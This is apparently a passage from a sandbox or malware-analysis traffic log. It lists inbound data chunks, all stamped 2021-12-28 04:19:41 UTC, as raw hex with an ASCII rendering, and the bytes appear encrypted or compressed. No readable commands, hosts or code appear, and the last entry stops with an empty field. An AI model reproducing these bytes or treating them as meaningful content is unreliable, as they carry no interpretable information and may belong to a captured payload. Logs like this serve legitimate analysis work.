2021-12-28 04:19:41 UTC	2780	IN	Data Raw: 47 44 0f 14 77 b3 e7 21 5d 2b ab f4 9d 58 be 6b 72 b7 96 62 7f 6b 4d d2 f4 29 24 fd 2e 53 b1 ef fa 70 6c c1 4a 39 e4 b2 c6 5c 91 1c 67 cc 87 b1 4c d2 15 b7 fa 84 e9 0e be af 9f 2e 4b 24 c6 86 63 fc 7c 5d 06 65 be 3d dc d2 79 62 9a 95 89 d5 f9 39 29 ea 1e a9 c4 59 69 0e fe 7c d0 38 ca 8f 81 a5 f5 5c bf 15 48 42 66 51 5e 59 1b 9f d4 be 5a 0a b4 ff ca 32 e2 2c 38 a4 03 0f 3e e8 32 1e 9d 6b 0a b2 c7 dd db d2 55 2d f4 f3 04 fd ea b2 32 5a 31 c5 86 a0 03 7f f2 6f 27 05 48 00 92 32 0b ad 3c 6a b7 7e ba d5 a8 9a dd c2 9f 8c 52 1e 95 f5 df 09 52 75 b4 6a f6 d5 06 dd 2b bf 32 f2 89 d9 67 03 4d 91 2d c7 4c a3 cc 90 64 0a 47 04 f3 b8 da fa 2c 17 25 df 3a 7a b8 e5 80 58 70 83 6f 95 37 1c 71 ac ae bf 6d 40 5c c2 dd 85 3b 43 4c 4d e4 bc b2 33 35 f7 a5 cb ad fb a8 70 01 Data Ascii: GDw!]+XkrbkM)$.SplJ9\gL.K$c\|]e=yb9)Yi\|8\HBfQ^YZ2,8>2kU-2Z1o'H2<j~RRuj+2gM-LdG,%:zXpo7qm@\;CLM35p
2021-12-28 04:19:41 UTC	2796	IN	Data Raw: ea 22 dc 3e 5d db 17 d1 e4 13 3d 82 13 e5 46 7b 7e d4 d2 12 c9 93 dd e0 1b b2 2d b1 b8 7a b6 0d 4e cc 9d ca 00 de 47 3f 83 e8 9b f5 98 aa 0f 08 6a 31 6d 85 5e 13 20 b5 f2 95 53 c7 aa 58 b1 62 33 79 7a a8 df 6f dd b3 fc f0 59 e4 72 1d 52 dc a1 8f e7 8f 2d 7a d7 19 c3 c3 96 c6 a2 36 d4 68 c7 78 8c b7 f4 09 0b 02 9a 5d 46 5f 94 aa d8 27 36 10 e7 e8 07 1e 5e 57 8c 76 6a 44 9e a9 9d ae fe 94 dc 38 17 05 9d 59 b2 b0 33 35 25 7e 01 d2 71 ed b3 99 37 d0 57 ed 25 20 55 cc cc 07 97 c3 30 e8 18 ab f5 6d e3 a4 22 28 21 70 ea 16 4b 36 84 d3 a5 2e e5 69 16 f7 ca 4f 74 b6 3d ad 43 fb 8e 06 0c 80 6d 47 81 ba 03 f5 88 24 64 6d fb 9e 71 22 32 4b 3a 0a d4 91 ff 81 cc 01 db b7 97 ba 23 b6 b7 e2 d3 2a 3e 72 58 db 80 73 11 73 6a cf bd 77 ef 1e 82 c8 72 5e 78 e8 0f 20 54 81 03 Data Ascii: ">]=F{~-zNG?j1m^ SXb3yzoYrR-z6hx]F_'6^WvjD8Y35%~q7W% U0m"(!pK6.iOt=CmG$dmq"2K:#*>rXssjwr^x T
2021-12-28 04:19:41 UTC	2812	IN	Data Raw: df 5e 67 0f 8a 6a 4e 53 24 21 49 1a cc 74 0e a2 60 8b 22 4d 73 0c 7f b8 0b 29 fa 49 21 22 8b d8 81 a0 27 70 6f b9 d1 74 0f 2f 57 89 f2 52 e3 40 55 cc c8 1d 86 c8 84 c3 36 8a aa 71 07 77 b7 54 81 53 ea 0c 43 61 ed 7c df c8 e6 ca db 42 42 d3 1b 9c 51 ce 91 63 40 72 cb a2 01 03 de 9a c7 72 26 77 d6 48 cc 92 04 1b d2 31 06 cd 38 0f e3 90 58 45 08 e4 2a 21 c1 8b ac ae f7 17 fb 24 da 6f fd ad 7a 74 af 32 d7 d7 db ad 74 74 85 f2 ff 5d dd 59 e5 87 65 e7 47 3b a8 f9 24 e9 52 0d bf e6 cd 9e 8b b0 d7 e5 65 f0 ff 1d 66 58 c5 0c 74 5e ef 73 f6 7e 8e fa f5 ec 5a e3 fd bd 6b 43 bd fd 6a f5 b4 d2 a7 fb 35 59 57 aa 8a 02 f8 0a 28 bb 79 65 5d 38 ce e6 e0 b7 37 a0 74 01 d4 54 2e 5e 6d bf ff 4e 7a 5f 1c 62 17 e3 c5 76 48 29 4d 9f 64 87 d0 3a 09 af c3 da 76 81 7c 8a 56 35 22 Data Ascii: ^gjNS$!It`"Ms)I!"'pot/WR@U6qwTSCa\|BBQc@rr&wH18XE*!$ozt2tt]YeG;$RefXt^s~ZkCj5YW(ye]87tT.^mNz_bvH)Md:v\|V5"
2021-12-28 04:19:41 UTC	2828	IN	Data Raw: c7 eb 07 65 c7 49 d7 e2 ae b7 0e 4b b4 ba ff 74 8b f5 04 91 b4 83 c0 0c 1f e8 63 c4 ad d7 0f 80 60 65 51 c0 c5 9b 59 a5 8f b6 36 42 f0 56 66 4c 08 c7 e8 d8 32 71 86 d5 7a 1f 15 d4 94 fc 5c 86 3e 1b 00 d8 5e f3 ca f3 9f 47 46 3f 18 48 e3 74 d7 92 a3 c8 a9 f5 37 1e 70 4f a4 7f de 21 66 8b d8 99 1f a0 f0 b4 c9 53 cf 51 ba d4 d9 71 dc a2 90 52 54 a3 02 8d 3a 0e 00 b1 e2 5e 76 45 c8 ed 2e 3d 6e ef 5b e9 78 04 c0 a9 bb b9 40 f7 af 84 be c9 89 9a f3 fe f4 d0 0e 29 ad 65 dd 75 e6 01 3f 07 09 63 d8 37 f4 5d 3c df cc ff bd 7b 89 cc aa 28 55 a9 73 5d 5e c6 86 9a f3 dd 9b 83 dd f0 25 98 bc 0d 68 dd 23 c9 8e 9b b6 ee 6d 04 bf 64 2a b0 b4 90 a2 52 96 69 3d e8 5a 30 58 cc 98 e9 99 bd f2 e5 88 f9 9a d4 14 b6 49 26 07 c2 ce d4 a4 a1 3f c7 ab c4 25 0f c2 7c 66 9b 24 84 c7 Data Ascii: eIKtc`eQY6BVfL2qz\>^GF?Ht7pO!fSQqRT:^vE.=n[x@)eu?c7]<{(Us]^%h#md*Ri=Z0XI&?%\|f$
2021-12-28 04:19:41 UTC	2844	IN	Data Raw: 4f d1 23 66 5e 92 e0 6e e7 c6 ec 85 6e b6 5b 98 c6 0c df 9f 46 59 bd 91 25 0a 4f 84 3e ab 46 82 6b d8 a3 84 0a b1 77 20 18 49 70 b2 d1 77 0f a8 11 4e 15 be 46 95 64 27 47 c7 d6 05 12 3e 70 32 30 cf e3 d9 80 ae 90 8f b6 51 22 75 ce 56 8f dc c7 12 41 75 19 65 3b 64 81 25 0a 08 ef 8b 3b 44 16 9d 90 9b 67 11 08 2a 8d 86 c1 59 42 58 26 ae ca 9b b0 e9 07 9c b0 1b 59 be cf e9 a2 df 02 82 89 5f ca 73 e7 ab 0d a5 f2 40 39 1e ba c1 0a 26 28 fe fd 16 1c cf e6 18 24 01 cd b0 7e 92 15 3d 50 9d bd d3 ed 3a 11 10 36 0e 04 ba 99 6b be 0f 1c d8 e6 1f 49 61 1d 0a 48 1c 69 22 1b da 7b bd b8 64 35 87 bb e1 05 c8 a9 a5 38 c1 94 b1 9b 8d 3d 54 16 b7 29 6d 2d 1a dc 24 cf 19 aa ca 55 cf a1 47 5b ab e5 b6 24 3f 89 3e ef 2f 76 5e ee 05 04 56 03 e5 0c b4 5e 9f af 14 36 0c f9 af 9b Data Ascii: O#f^nn[FY%O>Fkw IpwNFd'G>p20Q"uVAue;d%;Dg*YBX&Y_s@9&($~=P:6kIaHi"{d58=T)m-$UG[$?>/v^V^6
2021-12-28 04:19:41 UTC	2860	IN	Data Raw: c5 28 e0 3e 0b 2d a0 15 92 07 ed a3 d1 7c 9b 8d a6 70 42 c9 64 90 e0 4c 64 7e ce 7b b4 e7 55 8c 6b cb f2 a3 00 b6 96 96 1d 5a e7 37 d0 33 28 06 81 06 45 7c 63 3b a7 34 16 0d 68 e7 95 5a 51 02 db a2 c4 f3 b4 84 ff a6 49 7d 89 c8 16 23 c3 27 e4 5a 69 8b fd e9 56 bb aa 5e 6f 05 b0 76 23 1c dc b2 6f bd a2 23 97 42 a7 c9 f2 9d f1 94 a2 30 07 cd 02 00 2c 4d 38 55 df 5b 1d 1e 8f e4 2f 68 89 48 a3 bf 39 ec 8a 74 b0 0a d2 b7 37 02 4e d6 f6 04 6c 9d ac 0d 58 1d 00 35 17 4f 7c 54 32 f4 4b 3d f2 bb 35 e1 fc 16 e0 e0 14 03 f7 0a 30 0e 69 48 e7 00 25 92 15 5d 34 31 79 e0 7e c9 3a 91 fd 40 f4 07 ec fe fa a8 57 8b fc ef 15 8e de c0 2f c9 ad 87 3a 44 d1 07 af 01 2a 0d df e2 fb 69 b2 aa 1b f9 da 97 e4 2d 37 c3 1c 5c df 99 b9 e5 cf a8 82 9c 2a 50 b2 80 b3 da 55 cf a4 ca 55 Data Ascii: (>-\|pBdLd~{UkZ73(E\|c;4hZQI}#'ZiV^ov#o#B0,M8U[/hH9t7NlX5O\|T2K=50iH%]41y~:@W/:Di-7\PUU
2021-12-28 04:19:41 UTC	2876	IN	Data Raw: 92 31 c9 cc 9d aa 64 d8 86 61 03 27 aa 29 b1 e1 e3 18 4b 5c cb 8a 27 75 e1 3b 51 6c 6e 7b d3 ad 36 d2 68 83 3e e5 ea 12 c9 e9 50 66 94 e3 94 b9 c6 a6 39 2f f7 fe 71 18 93 99 bd 26 05 6f eb 9c 3a a4 05 78 aa 46 ac 55 84 a5 aa 69 2e c0 27 66 f6 f9 9f d0 38 1e 56 e0 a1 d4 e8 c3 dc 68 8a b9 9c 2f ea 12 a0 f1 d5 fd 65 be e6 6b 0e e5 a8 1b 02 2e c1 16 76 14 05 79 4b 50 41 40 a8 04 76 45 bb 11 f0 8f 91 57 83 1a 2d 29 71 54 40 ad b9 d9 8c ce af 96 36 73 6a 6d 21 84 60 ab 66 8b d8 3b 19 bc 9f c7 9b 0f 92 b4 c5 2a ba ce 00 1c 12 fc 31 42 3d a3 9f c8 47 a8 8d fa 20 fb 74 bf df 84 ba 2f 3c da 14 d2 e6 e4 38 74 1b f4 a6 76 a6 3b 3e 2e ab f7 8a 21 74 75 55 8c c2 d4 52 9b 1d d6 f7 aa cb 63 6c 39 65 bb a2 4d 0d 62 c2 d5 dd 22 f1 31 34 d2 07 0d bd e9 12 e4 3c b8 7e 07 ce Data Ascii: 1da')K\'u;Qln{6h>Pf9/q&o:xFUi.'f8Vh/ek.vyKPA@vEW-)qT@6sjm!`f;*1B=G t/<8tv;>.!tuURcl9eMb"14<~
2021-12-28 04:19:41 UTC	2892	IN	Data Raw: 3d 81 8f 6e bd 57 0b 18 a9 49 c1 9f e1 a4 75 3d 77 9b 94 13 f5 73 63 6c 7e 0e 1d bc 32 a1 be f3 da 63 64 de 8f ed 40 c5 96 a6 dd c1 30 3d 87 e7 2d 36 0f 31 da a7 5b 33 02 96 dc 46 8a 76 0b ab 01 0a 01 33 66 7a b2 7c 35 4a bc e7 2b 43 43 53 9f de 84 be 90 f1 a7 3a 03 9e f3 bb a3 72 c5 15 b9 1f 59 52 52 2e 7a 59 c3 ef d2 01 ee 48 36 3e 0b ea 77 34 e5 69 47 95 e8 03 b7 6f 4f ff dc d5 ac ab 9d e0 83 b9 bd dd 89 1c 36 97 81 6e bb 60 d1 c8 2c 2f 87 2a e6 09 e3 03 d9 a1 ba 32 54 4f 60 99 b7 55 a7 5c df 8c 0e 34 e0 83 9a 39 fa f3 88 e6 0a d9 c9 3f 56 f0 22 ca c4 fd 97 a5 1a 5d 1f 1c 6b eb 79 e0 5e f9 0f 8c 2f 0d eb 67 d1 df ce 8a 92 1d f0 8a 54 f7 3b b0 bc 9b 01 1a b2 2b 78 e7 f9 2c 5c cb d8 12 70 0e dc 8b 22 4f 1b 81 4f b8 d7 d6 30 68 81 ee 00 f5 ef 5f 47 a1 db Data Ascii: =nWIu=wscl~2cd@0=-61[3Fv3fz\|5J+CCS:rYRR.zYH6>w4iGoO6n`,/*2TO`U\49?V"]ky^/gT;+x,\p"OO0h_G
2021-12-28 04:19:41 UTC	2908	IN	Data Raw: 22 6a 4b 07 84 e7 84 90 84 c6 81 e9 ce 26 8c db 31 0f 6a e6 63 85 a1 7e 4f 20 44 d3 ff 5d 0a 68 71 bd 81 8a c6 01 83 e4 23 83 3a b6 d1 63 1e 9f b7 41 54 34 7b e0 c6 08 dd a0 65 67 07 99 cc e3 43 7e cb 86 16 d8 52 dc 9b 51 7f ee fd 32 4b b3 b6 99 eb 53 73 ef de 2e ff 3c 7a cb 7d 17 69 30 2f e4 ff 58 eb fc 95 4d 0a c6 a0 b5 11 65 a9 0e 64 f5 30 f4 e7 89 d9 91 64 dc 8f d4 ce 1b 57 74 3a 6d c9 0f 89 a4 7e 5b 8e a3 cb 86 e1 ea ef 95 10 af 09 ff c5 bd 50 f4 e7 36 73 f8 a3 95 9a 6b 3c d8 48 72 28 df 7d 76 33 52 a4 75 f8 61 a1 b2 64 fb 09 46 82 4e bd 1a 19 9f 6f 3f 57 25 1c 35 24 88 74 0a 53 38 e4 0f 9f 63 80 47 13 47 ae 92 58 68 5a 5c 83 a9 aa b4 12 6f a1 b4 f7 22 8b 0f 34 1e e4 47 11 d2 9f 85 c5 c9 3d 5b 38 aa 37 7b 7c b5 5c a9 b9 fc c8 08 c6 91 12 f1 3e 69 95 Data Ascii: "jK&1jc~O D]hq#:cAT4{egC~RQ2KSs.<z}i0/XMed0dWt:m~[P6sk<Hr(}v3RuadFNo?W%5$tS8cGGXhZ\o"4G=[87{\|\>i
2021-12-28 04:19:41 UTC	2924	IN	Data Raw: 87 c0 91 53 7e a4 04 ad bb 4c 5f 2b 82 b0 0d fd 33 94 2a 30 1b bf b5 38 64 de e0 27 59 e1 0a 87 8e 0d 29 74 5e c0 6d 73 78 83 03 8c 4e 92 18 cc 5a 06 bd 9f b8 0f f1 da bc 4d 70 16 9f 6d f5 f0 54 9e 96 da 00 46 d8 c6 a6 5e bc 49 ff 0c ca 97 67 43 2a d7 a6 7d 11 40 dc f3 cb 1f 56 2c b9 7b 97 b0 f4 74 f4 f8 ce a6 47 2d 17 64 9d 3e 4a c1 94 31 8f c6 ce 42 47 6c f0 58 dc e0 30 1c ab 4d 10 2b 63 4c e6 70 7f b1 12 90 8a ad 24 bb 0c 3f c7 9e 1d 38 13 5d 13 66 f8 04 7d 0a fc 08 be c6 ac 28 c1 62 01 29 10 30 3f 85 d7 07 71 9d 7d 1d bf 9e 62 19 4a 3a 0b 8b 65 22 16 ac f3 7a d2 75 ea a4 e4 a9 02 02 14 33 c4 f1 7c 6e 92 1c 7f 90 c8 01 48 22 65 ec dd 0d 9f 03 cb 21 99 85 62 36 31 39 a9 a3 23 43 87 1d cd ae 5f d6 de d7 7c 53 70 ed 90 28 27 0a c8 f2 f6 3f 96 a5 08 91 38 Data Ascii: S~L_+308d'Y)t^msxNZMpmTF^IgC}@V,{tG-d>J1BGlX0M+cLp$?8]f}(b)0?q}bJ:e"zu3\|nH"e!b619#C_\|Sp('?8
2021-12-28 04:19:41 UTC	2940	IN	Data Raw: 87 7d 1e bd f7 d3 57 9f 6a dd 3e ec 6b ed d5 d2 c8 98 7e 02 7d 4b 87 7d 1e 31 91 49 65 33 a5 bb fd 10 a9 c1 c8 e7 59 3d 6d f2 f4 21 6f 7a 2b 5e ac fb d2 fb 83 5c 4f 95 ae 18 d9 90 f8 44 22 d2 10 87 d2 bd 52 9c b0 6a 03 cb ea 84 95 73 4b b6 40 78 51 1c 4e 2d 29 5d 0a cc 72 53 a5 8d a2 3c 00 8e e9 7c 4f 6c 8a 93 6a f8 eb 8f 09 2c f7 5c 68 2c cb 34 bd 6b fc 82 ca b7 62 7a 74 61 bb b9 ce 3e 3b a4 96 7a 6f 86 fd ae 6d 57 09 52 c4 8f 60 b7 aa 51 4a 58 4d 3b 2b 2c 5b a3 bc 3c 28 d8 5b 56 2d fd 45 43 65 ed 35 4a 03 67 c0 cd c0 97 fe ca 7f ea ba ff dd a1 eb 62 8d ed 2a c2 b8 56 3b f7 23 43 ac 07 ff d7 c7 50 96 1e ff 03 84 e2 69 9b d9 3c ba 19 5f 6c a5 52 23 05 70 f1 64 04 ef ed 25 f2 86 6b b5 dc e7 ae e7 18 ce 2b cf 82 8c 13 8e a9 08 04 13 6e 39 2d 46 62 6a 4d ae Data Ascii: }Wj>k~}K}1Ie3Y=m!oz+^\OD"RjsK@xQN-)]rS<\|Olj,\h,4kbzta>;zomWR`QJXM;+,[<([V-ECe5Jgb*V;#CPi<_lR#pd%k+n9-FbjM
2021-12-28 04:19:41 UTC	2956	IN	Data Raw: 2f ff be b7 81 10 93 72 9e 3e 6e b5 55 65 90 44 c7 c0 dd 3f 2e e7 32 fe 86 d1 c5 6b 8e 22 79 6d 59 00 74 da 24 a2 f0 4c 9c 33 02 67 34 71 ec 8a 7b ed 3d 38 e2 35 74 02 85 ed f0 f4 b0 91 e8 74 cb 24 25 20 d6 89 12 e3 f1 6e a9 60 9a 1c 64 72 35 89 f7 95 bf eb f3 e4 e9 78 96 cf 3b f8 e1 c8 98 83 46 fa 83 72 a7 75 6c 95 b7 94 9d 09 c2 29 53 dd 21 92 c3 0d e7 ed 49 36 ab 2f 56 99 95 2c ae 4a a2 34 59 35 e6 24 06 1f 90 91 ef 40 f2 45 c3 ba c8 84 fc 5b d1 2c d5 71 1a 1d b3 ce 61 df ed 56 2d 82 64 18 1c ae 19 06 bf 70 c8 fa c8 87 a1 b1 fc 57 a2 8e 7c 3e a6 6f 75 73 1a f8 5d 08 a0 3d 29 82 0d 0f a1 92 03 9b ea 13 6e 79 7b bd aa 9f 08 11 4d 6a 2a d2 96 3e 18 43 45 e8 52 f3 b0 d0 0b a5 28 e9 3b 37 8f b4 2c 00 11 b2 9e 17 c7 88 3d 4d 37 7b 03 22 57 6f 98 27 87 5f af Data Ascii: /r>nUeD?.2k"ymYt$L3g4q{=85tt$% n`dr5x;Frul)S!I6/V,J4Y5$@E[,qaV-dpW\|>ous]=)ny{Mj*>CER(;7,=M7{"Wo'_
2021-12-28 04:19:41 UTC	2972	IN	Data Raw: 20 7d 77 b6 f7 60 db 33 3b 3e 4c 9e ac 93 0a 90 73 25 18 ca 8a 5a 72 e4 37 9b ad ce 2d 3a ee d4 71 a7 8a 71 ff 27 ea c5 87 cc 26 d4 55 9d b2 6c e3 98 94 76 88 3d 9a 73 ec cc 7e 45 da 75 14 59 7a d8 83 20 69 d4 33 ac 69 7e 79 e4 86 e6 d6 93 7b bb 66 c0 23 b2 53 ad 90 d1 96 98 eb 79 c4 06 90 92 1b 19 4f 23 4f eb 6d 12 96 25 cf 7a 12 1b 51 95 50 6b a2 fe 51 e1 7c 93 b0 7a ed 5b a4 60 60 a4 31 2f 82 ae aa 87 fc 8d 16 50 6b 45 e6 84 0b 92 05 10 a4 9a ea 38 aa ed 8f b1 0a 56 15 b8 e2 8d 6c 1d 91 e2 d2 03 e7 0d 79 ed d5 8e 37 e7 5f 05 63 fc c5 27 60 fa 05 86 e0 ed 9e 33 09 6c 9d 50 eb 89 ec 81 11 5d a2 15 fa c3 f8 16 5f 7f 8f f4 af d3 77 30 a2 2c 63 9d 1b 94 69 86 b8 f3 0b ae 2f 7e fe 9b 1e 9a 2f c0 1f 29 3f 66 63 c0 c6 06 fc 4a 26 26 31 74 49 d2 65 6a 00 35 87 Data Ascii: }w`3;>Ls%Zr7-:qq'&Ulv=s~EuYz i3i~y{f#SyO#Om%zQPkQ\|z[``1/PkE8Vly7_c'`3lP]_w0,ci/~/)?fcJ&&1tIej5
2021-12-28 04:19:41 UTC	2988	IN	Data Raw: 02 be 6b 2f 43 f5 c5 5e 5b d9 d7 80 40 12 ca 47 2b fa c5 84 19 03 85 be 2b 18 53 ac d1 9b c2 fe f6 ca 7a 8c 49 0e 97 2f 65 70 45 65 f3 5c 69 97 7c 1b 54 ac be 19 c4 85 75 60 44 eb f7 bc 9e c9 23 90 2d d0 90 76 f6 21 0d 90 b3 28 b9 85 93 22 cd 2f d9 a8 11 82 35 1e df 71 fb 13 70 84 d3 0e 72 0f 82 b7 2f f6 2a 36 b6 86 7b 91 af d2 0f 69 85 9c 84 dc 36 87 bf 1f e4 bf 24 33 69 54 13 ea bd ce 34 d3 f2 b1 ae 9d 1d 5d 91 42 69 7b 3d 8f dd 65 b3 11 e3 d8 bc 4f 38 c5 34 ac da 33 47 cf 87 29 88 e2 65 27 c6 63 05 e9 0b 03 f6 f2 25 0d 2f 79 04 64 1e b1 34 79 0e 86 c6 f8 25 f7 0b 20 44 cc 6f be c3 73 48 4f d3 5a 5f ad 18 3c e2 21 f5 02 0d 44 b1 e0 36 dd bd 07 30 b9 47 68 51 52 1a 8b 4d 80 7e be de 36 26 c5 c6 ec 2c 87 28 46 04 cd 7a 0e d3 07 87 bc 67 55 b8 95 1e f2 bf Data Ascii: k/C^[@G++SzI/epEe\i\|Tu`D#-v!("/5qpr/*6{i6$3iT4]Bi{=eO843G)e'c%/yd4y% DosHOZ_<!D60GhQRM~6&,(FzgU
2021-12-28 04:19:41 UTC	3004	IN	Data Raw: 00 b2 22 f4 4b f0 53 ea 68 ab 59 b9 2e ca c4 3c 1d 33 a8 19 d1 b3 b7 1c 28 2c 0f ae c2 d3 26 5d b6 8f ec f1 6b d2 21 05 bf 21 df 28 61 26 45 0a 2e 45 28 d2 47 21 ab bd 12 93 a0 a0 93 3f 07 63 7a 11 d6 0f fc a4 2b 41 d0 d5 46 f2 4b 2e b6 75 30 07 3e 4b 71 65 67 69 bd ee a9 89 11 d6 12 df 64 70 03 44 51 b0 0a ef 99 89 35 aa d4 5e 39 1e e0 07 81 49 ab 63 28 68 79 91 95 00 7b 21 68 2c b4 c2 8d b3 0f 93 fc 05 45 ff a6 88 89 70 7f 40 84 56 a6 4c b8 77 3f f9 0d 74 8a 81 f4 ac f0 b0 d8 a0 a0 8f 6e a2 f2 40 0b 69 3b e2 05 e4 0a ed f9 3d 54 cc e6 d3 a2 0c 00 65 20 1a df 73 6c 78 7f 9f 9d be bb 66 37 bc 91 1b 37 34 96 25 36 88 3a 56 4b 07 0d 0c e8 13 74 79 7b ff 91 76 8c 33 6a 54 be 1c b2 6e d4 c1 2d 17 ea 86 c1 64 61 48 bc 39 69 b4 b6 c8 b7 18 ef e5 f3 78 fe 51 31 Data Ascii: "KShY.<3(,&]k!!(a&E.E(G!?cz+AFK.u0>KqegidpDQ5^9Ic(hy{!h,Ep@VLw?tn@i;=Te slxf774%6:VKty{v3jTn-daH9ixQ1
2021-12-28 04:19:41 UTC	3020	IN	Data Raw: 81 40 a9 b3 82 d2 5f da 34 31 2f 37 6b 3e 98 f8 bd eb 55 92 5f 36 60 a6 ef 19 a7 50 9c 11 9e 9b 6a 03 f8 f1 ff 46 50 db d7 28 72 a6 89 f8 10 d7 23 b7 2c e5 68 55 7f 6c 4b 5f 3b 91 5d 29 89 ba ff 9b 48 ab 61 fc fe c7 3c 79 71 18 68 f0 6c 3d 95 91 42 c7 9e 77 8d 78 15 a2 2c 65 d9 be 7d 91 8d 31 52 7c a3 6c 87 ba 36 5b 0a 98 4b b2 74 18 64 73 db 85 68 e5 0c 08 40 fb 84 e0 05 c0 bb 0a 0e 2a 7f f2 5a 7b 95 60 13 4b 5f 02 9a 42 9f 22 a7 3b a5 89 0d a6 d5 50 75 d1 9a 8e 4c 81 77 a8 c9 39 39 44 d3 dd da a1 8e 45 a8 5f db 58 b7 e1 80 d7 b6 08 b1 f4 a4 6a a9 a3 82 ed 8e f4 d6 3a ce f5 64 de 3b af 34 70 92 57 4d 3d 42 1d 6d 28 77 17 ec 2c df fd a1 dd bd 90 fe 7a f3 c2 32 45 4c 3d de 98 99 c2 a8 7c 40 3a fd f8 fc 63 b6 bf 74 cc cd 8d 74 2c 5f d7 4c 08 be 4a 44 bf 2b Data Ascii: @_41/7k>U_6`PjFP(r#,hUlK_;])Ha<yqhl=Bwx,e}1R\|l6[Ktdsh@*Z{`K_B";PuLw99DE_Xj:d;4pWM=Bm(w,z2EL=\|@:ctt,_LJD+
2021-12-28 04:19:41 UTC	3036	IN	Data Raw: bc 51 64 ab 49 9e 21 49 23 1e c6 0f 8e 7f 2b 83 26 dd 67 29 35 da 76 7d 89 24 86 96 4b 62 05 da a6 f3 a7 2e 12 13 51 40 8f 0d b1 fa b9 e9 e1 cb 88 46 89 80 b0 6d 93 fb 70 fd 5a 71 40 2e d0 1a 52 07 04 da 23 ad 3e 93 24 b7 85 bf 63 f9 6d f2 80 a1 cc bf 53 0d d5 61 ee bb 29 d4 d3 4e bb 0f b2 b3 72 31 f9 63 a9 fc 93 27 c3 f1 7c 64 0d b3 08 79 d4 f2 b5 59 ca b5 ac 81 e4 71 2d 13 d9 b3 1a 09 ee 80 38 56 db 6e 2f 54 e5 d4 db 22 9a 23 a5 28 f3 b6 06 e9 6b 83 de 67 20 1b 0b 6b d6 6c 59 bd b6 73 5d f4 4a be f8 b3 1d 0b fa c4 66 1d 00 31 e5 f8 51 f2 ce 4c aa bb 0d 62 cb dc 20 b9 ac 81 08 22 da b5 34 07 18 1a 17 eb 25 90 51 e7 31 36 a9 ea 75 33 51 72 87 97 b2 11 68 1d 59 ed 15 2c cf 85 c3 ca ab 47 ac ad 97 76 1c 9e ba d1 50 32 da 98 67 2e 2c b5 d5 cc 70 02 dc ee fb Data Ascii: QdI!I#+&g)5v}$Kb.Q@FmpZq@.R#>$cmSa)Nr1c'\|dyYq-8Vn/T"#(kg klYs]Jf1QLb "4%Q16u3QrhY,GvP2g.,p
2021-12-28 04:19:41 UTC	3052	IN	Data Raw: 2a cf 73 57 e1 e8 38 ec 0f 02 b3 4e 04 8b 56 82 63 fc 98 08 45 b6 c7 e6 b9 88 2a 12 92 1b ce 0a f5 d2 80 17 c9 20 2f 8a 93 0e 19 6a 75 3f f9 b9 87 c6 d0 8e be 9e a1 83 48 91 c6 25 b7 b1 5c 76 52 94 76 fb a2 c3 b4 50 39 0f 39 09 b1 16 1b 27 0b 42 a1 bd 7b 08 7a 6b 3c 0e 07 7b f3 60 b7 e8 a0 09 f2 41 2b c5 6e 4c 45 da c7 28 c9 95 0b 0a 19 34 06 80 f5 ba e2 65 60 1c 62 d7 6f cc 10 35 09 3f 63 41 aa 13 f0 be 02 e1 7b 81 5e 15 11 21 ec 51 f6 8c 87 df e3 e0 1e 6a c3 f6 6b 8d 54 38 90 48 bc 1a e2 5c 72 e9 70 23 01 cd fa ee eb 17 aa f4 da 20 9b d5 03 9f 5c a4 ca a4 7b 2b b7 27 25 45 08 44 6a d1 cf 16 e7 d5 52 e1 4b b5 94 bd 2f 05 4a b0 e3 ba 41 7e 40 5a bc c7 20 0f 0b c1 fd 29 08 cc 05 c7 04 54 2e 15 50 a1 7f 6d df ba c2 bb bf 17 5e ad 15 61 15 40 27 ba e4 7e 0f Data Ascii: sW8NVcE /ju?H%\vRvP99'B{zk<{`A+nLE(4e`bo5?cA{^!QjkT8H\rp# \{+'%EDjRK/JA~@Z )T.Pm^a@'~
2021-12-28 04:19:41 UTC	3068	IN	Data Raw: c2 18 5d f6 d9 fb 18 bc a9 e9 f6 60 42 92 c4 4a fd 2c 5a fa d7 39 76 82 12 35 2a 03 ed 92 84 34 e2 9e c9 9c 54 9a 0c a1 34 e5 3e 3a 3f ea dd e6 36 71 a9 51 85 76 1c e9 bb 12 04 35 df 98 88 e8 59 3d 9b 67 d7 4d 9c d3 58 7d 4e 2b 77 da e1 d7 8a d1 49 b7 66 ec 62 f8 da f3 39 98 df 02 22 0e c3 17 7c e2 7f e9 f7 6e 90 85 c9 d5 21 11 0a 91 93 3f 03 b5 26 cf fc fe 90 8d af 99 94 52 eb 49 c3 11 4a 6e 8f c4 42 4b 92 59 36 35 bf 51 0e 94 a0 8d eb 48 51 7d 8f 0e ab 4a 38 a3 d6 92 08 f9 92 60 18 71 4b 25 27 1b 48 9c 0b 7e 49 89 cd 8a 62 59 0e f8 56 3c 2a 68 23 4e 82 db f1 f9 a6 05 bc 04 d8 16 f9 01 b0 f6 c7 82 ed a6 bd 61 eb 4a 7a 3d 8d b2 22 bf 95 62 0d ae 79 f5 a1 56 1d e0 72 83 7d d7 77 6d ae a6 ab 37 0b 2b 35 ab e4 4d 67 e6 c3 0d 9a d5 ac fe 0c 1e 2f 1b f7 3e f6 Data Ascii: ]`BJ,Z9v54T4>:?6qQv5Y=gMX}N+wIfb9"\|n!?&RIJnBKY65QHQ}J8`qK%'H~IbYV<h#NaJz="byVr}wm7+5Mg/>
2021-12-28 04:19:41 UTC	3084	IN	Data Raw: e8 36 0f e8 e6 88 14 c5 c8 c9 89 d6 03 32 56 f0 c5 83 1f 35 d3 1c 83 7a 48 a1 f0 c6 56 d5 49 38 57 6a ab 2f e8 c2 71 98 2b 07 21 17 78 57 1e 4e ac 27 26 1b 81 60 e6 0c 20 76 85 17 3e 3b 76 b6 b9 38 56 b1 9d 37 66 fd 92 39 c1 5a 55 02 31 2a 06 05 69 3c 4c 4c 54 34 58 ca 94 a4 56 4b 3b f6 f4 db 79 c2 ee ae f4 e4 64 7f a2 86 24 ce 82 28 9d b4 ba cd 00 9f c0 59 2b bd 01 7a d8 06 f6 3c 99 3c 9a d6 76 cc a5 bc 95 91 d0 7e f9 55 21 ba 19 5f 4d 9b de b9 4e a6 ad b6 f0 06 6b 31 6c 64 d6 5b 72 cc b8 58 f3 df 53 67 26 74 9f 40 37 d4 36 ce 09 d0 02 77 cd b9 8d b0 89 7e 0f 0c 2d d9 7e 32 e7 5f 08 e7 2a c1 9e 00 0c 55 48 cd 2b e2 ef 2c 04 ba 96 d6 dd 75 ac 71 b0 dc 86 09 85 5c e4 61 7f 5a 28 28 03 f6 97 67 93 67 5c c9 79 80 29 2e f3 0e c7 09 a3 80 62 f6 c0 2e 4f e8 27 Data Ascii: 